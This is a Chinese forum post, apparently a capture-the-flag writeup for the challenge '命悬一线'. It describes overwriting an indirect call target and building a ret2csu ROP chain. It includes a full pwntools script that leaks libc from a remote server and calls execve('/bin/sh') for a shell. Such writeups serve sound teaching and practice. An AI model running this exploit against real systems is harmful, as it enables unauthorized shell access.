首页
社区
课程
招聘
[原创] 第九题 命悬一线 writeup
2020-12-9 11:54 6512

[原创] 第九题 命悬一线 writeup

2020-12-9 11:54
6512

思路

 

1.过掉反调试
2.程序退出之前会调用call rax,如下代码所示,这是突破点

1
2
3
4
5
6
7
.text:000000000040169E 088 48 8B 45 88             mov     rax, [rbp+var_78]
.text:00000000004016A2 088 48 8B 00                mov     rax, [rax]
.text:00000000004016A5 088 48 83 C0 18             add     rax, 18h                        ; Add
.text:00000000004016A9 088 48 8B 00                mov     rax, [rax]
.text:00000000004016AC 088 48 8B 55 88             mov     rdx, [rbp+var_78]
.text:00000000004016B0 088 48 89 D7                mov     rdi, rdx
.text:00000000004016B3 088 FF D0                   call    rax

3.通过观察栈可用发现rax的值可任意覆盖,通过在0x6020C0指定函数地址后实现任意地址调用

 

4.结合0x40185A 出栈,使当前栈位置移动到我们写入的字符串处
5.结合0x401840 控制参数,至此实现任意函数的调用和三个参数的控制,并可控返回地址
6.由于只有3个参数,无法直接调用0x4017CC进行syscall,所以 a:要么找一个rcx写为0; b: 要么先输出libc地址,然后调用execve

 

我同事找到了一个xor rcx,rcx ;ret (0x4017E3)很优秀;
下面是另一种思路,先输出libc地址,再调用execve的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#coding:utf8
#!/usr/bin/env python
from pwn import *
# context.log_level = "debug"
 
local = 0
if local == 1:
    p = process('./pwn1')
else:
    p = remote('121.36.145.157', 9999)
    # p = remote('127.0.0.1',18005)
    local = 0
elf = ELF('./pwn1')
 
csu_front_addr = 0x401840 # gadget 2.
csu_end_addr = 0x40185A # gadget 1,
main = 0x400AB6
 
# local
system_offset =  0x45390
__libc_start_main_offset = 0x20740
# remote
# 经过测试system_offset和sh_offset无效
# system_offset = 0x4f550
# sh_offset = 0x1b3e1a
__libc_start_main_offset = 0x21b10
execve_offset = 0xe4c00
 
 
def csu(rbx, rbp, r12, r13, r14, r15, last):
    payload = ''
    payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    return payload
 
def callFunc(funcAddr,arg1,arg2,arg3,retFunc):
 
    payload = p64(funcAddr) + p64(csu_end_addr) + '/bin/sh' + struct.pack('B',0)
    payload += p64(csu_end_addr)
    payload += csu(0, 1, 0x6020C0, arg3, arg2, arg1, retFunc)
    payload += p64(csu_front_addr)
    payload += 'a' * 0x38
    payload += p64(retFunc)
    payload += 'a' * 8
    payload += p64(0x6020B0)#最后一个指针不能动
    p.send(payload)
 
# 获得__libc_start_main地址,并返回main
sysCall = 0x4017CC
callFunc(sysCall,1,1,0x602028 ,main)
__libc_start_main =  u64(p.recv()[:8])
print(hex(__libc_start_main))
 
 
# getshell
libc = __libc_start_main - __libc_start_main_offset
sh = 0x6020D0
callFunc(libc + execve_offset ,sh,0,0,main)
 
p.interactive()

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回